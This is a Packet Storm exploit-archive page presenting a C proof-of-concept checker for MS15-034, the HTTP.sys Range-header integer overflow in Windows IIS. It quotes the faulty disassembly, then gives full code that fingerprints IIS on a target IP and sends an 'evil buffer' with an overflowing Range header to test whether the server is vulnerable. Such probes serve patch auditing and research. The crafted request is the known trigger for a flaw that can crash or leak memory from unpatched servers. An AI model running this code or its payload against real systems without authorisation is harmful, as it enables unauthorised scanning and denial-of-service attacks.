exploit the possibilities

Microsoft Windows HTTP.sys Proof Of Concept

Microsoft Windows HTTP.sys Proof Of Concept
Posted Apr 16, 2015
Authored by rhcp011235

Microsoft Windows HTTP.sys proof of concept exploit for MS15-034.

tags | exploit, web, proof of concept
systems | windows
advisories | CVE-2015-1635
SHA-256 | b962eb94796643c1f7df4412502d1acc226c3e768498d683a56c3660db367cc2

Microsoft Windows HTTP.sys Proof Of Concept

Change Mirror Download
/*
UNTESTED - MS15-034 Checker

THE BUG:

8a8b2112 56 push esi
8a8b2113 6a00 push 0
8a8b2115 2bc7 sub eax,edi
8a8b2117 6a01 push 1
8a8b2119 1bca sbb ecx,edx
8a8b211b 51 push ecx
8a8b211c 50 push eax
8a8b211d e8bf69fbff call HTTP!RtlULongLongAdd (8a868ae1) ; here

ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4

BY: john.b.hale@gmai.com
Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h>

int connect_to_server(char *ip)
{
int sockfd = 0, n = 0;

struct sockaddr_in serv_addr;
struct hostent *server;

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Error : Could not create socket \n");
return 1;
}

memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(80);
if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
{
printf("\n inet_pton error occured\n");
return 1;
}
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("\n Error : Connect Failed \n");
return 1;
}

return sockfd;
}


int main(int argc, char *argv[])
{
int n = 0;
int sockfd;
char recvBuff[1024];

// Check server
char request[] = "GET / HTTP/1.0\r\n\r\n";

// our evil buffer
char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


if(argc != 2)
{
printf("\n Usage: %s <ip of server> \n",argv[0]);
return 1;
}

printf("[*] Audit Started\n");
sockfd = connect_to_server(argv[1]);
write(sockfd, request, strlen(request));
read(sockfd, recvBuff, sizeof(recvBuff)-1);

if (!strstr(recvBuff,"Microsoft"))
{
printf("[*] NOT IIS\n");
exit(1);
}

sockfd = connect_to_server(argv[1]);
write(sockfd, request1, strlen(request1));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (strstr(recvBuff,"Requested Range Not Satisfiable"))
{
printf("[!!] Looks VULN\n");
exit(1);
} else if(strstr(recvBuff,"The request has an invalid header name")) {
printf("[*] Looks Patched");
} else
printf("[*] Unexpected response, cannot discern patch status");




}

Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    6 Files
  • 24
    May 24th
    19 Files
  • 25
    May 25th
    5 Files
  • 26
    May 26th
    12 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close